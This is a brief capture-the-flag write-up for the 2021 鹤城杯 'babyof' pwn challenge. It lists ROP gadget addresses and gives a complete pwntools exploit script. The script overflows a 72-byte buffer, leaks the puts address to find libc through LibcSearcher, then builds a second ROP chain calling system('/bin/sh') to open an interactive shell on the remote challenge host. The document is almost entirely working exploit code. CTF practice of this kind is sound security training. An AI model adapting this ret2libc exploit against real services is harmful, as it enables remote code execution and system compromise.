[2021 鹤城杯]babyof(libc泄露)

main:0x40066B

pop_rdi=0x400743

ret=0x400506

from pwn import *
from LibcSearcher import *

p=remote('node4.anna.nssctf.cn',28447)
elf=ELF('/home/kali/Desktop/babyof')

ret_addr=0x400506
pop_rdi=0x400743
main_addr=0x40066B
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

payload=b'a'*72+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('overflow?\n',payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_addr=puts_addr-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
payload=b'a'*72+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('overflow?\n',payload)

p.interactive()

libc6_2.27-3ubuntu1.4_amd64